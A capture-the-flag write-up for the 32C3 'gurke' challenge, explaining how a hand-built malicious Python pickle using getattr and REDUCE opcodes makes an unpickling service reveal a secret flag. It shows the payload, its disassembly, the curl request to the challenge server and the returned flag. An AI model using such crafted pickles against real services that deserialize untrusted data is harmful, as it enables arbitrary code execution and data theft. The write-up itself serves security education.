32C3 CTF Write-up: gurke
gurke (misc)
For this challenge, you are provided with a Python-based service that accepts a pickle and displays the result. You will need to coerce it to display the flag though, which is initialized at the start of the service.
The service can be succinctly represented as follows:
class Flag(object):
def __init__(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.17.0.1", 1234))
self.flag = s.recv(1024).strip()
s.close()
flag = Flag()
...
data = os.read(0, 4096)
try:
res = pickle.loads(data)
print 'res: %r\n' % res
except Exception as e:
print >>sys.stderr, "exception", repr(e)In between there’s a omitted portion that uses seccomp to make sure you don’t obtain the flag through the socket connection. In essence, you need to cause the unpickling process to read the flag attribute from the Flag instance.
Pickling and unpickling is quite commonly used in Python for persistence, much like Java’s serialization mechanism. However, it is implemented in Python using a simple stack-based virtual machine. By sending a specially-crafted pickle, we can cause arbitrary code execution. The Python code to read the flag looks something like this:
a = __main__.flag
return __builtin__.getattr(a, 'flag')This has to be converted into the Pickle VM opcodes by hand. You can see below that the pickle opcodes are quite a close match to the Python code. Also note that Python has a handy disassembler that dumps the pickle opcodes:
exploit = """c__main__\nflag
p100
0c__builtin__\ngetattr
(g100
S'flag'
tR."""
import pickletools
pickletools.dis(exploit)
0: c GLOBAL '__main__ flag'
15: p PUT 100
20: 0 POP
21: c GLOBAL '__builtin__ getattr'
42: ( MARK
43: g GET 100
48: S STRING 'flag'
56: t TUPLE (MARK at 42)
57: R REDUCE
58: . STOPNote that Python triple-quotes will capture newlines into the string. Now the exploit pickle needs to be placed in a file and sent off using curl to our target:
$ curl -vv -X POST --data-binary @t.pickle http://136.243.194.43/
* About to connect() to 136.243.194.43 port 80 (#0)
* Trying 136.243.194.43... connected
* Connected to 136.243.194.43 (136.243.194.43) port 80 (#0)
> POST / HTTP/1.1
> User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.19.1 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2
> Host: 136.243.194.43
> Accept: */*
> Content-Length: 60
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 200 OK
< Content-Type: application/octet-stream
* no chunk, no close, no size. Assume close to signal end
<
1: res: '32c3_rooDahPaeR3JaibahYeigoong'
retval: 0
* Closing connection #0Further reading for Python pickles and security:
- Black Hat USA 2011 – “Sour Pickles - Shellcoding in Python’s serialization format” white paper
- Pentura Labs – Python cPickle: Allows For Arbitrary Code Execution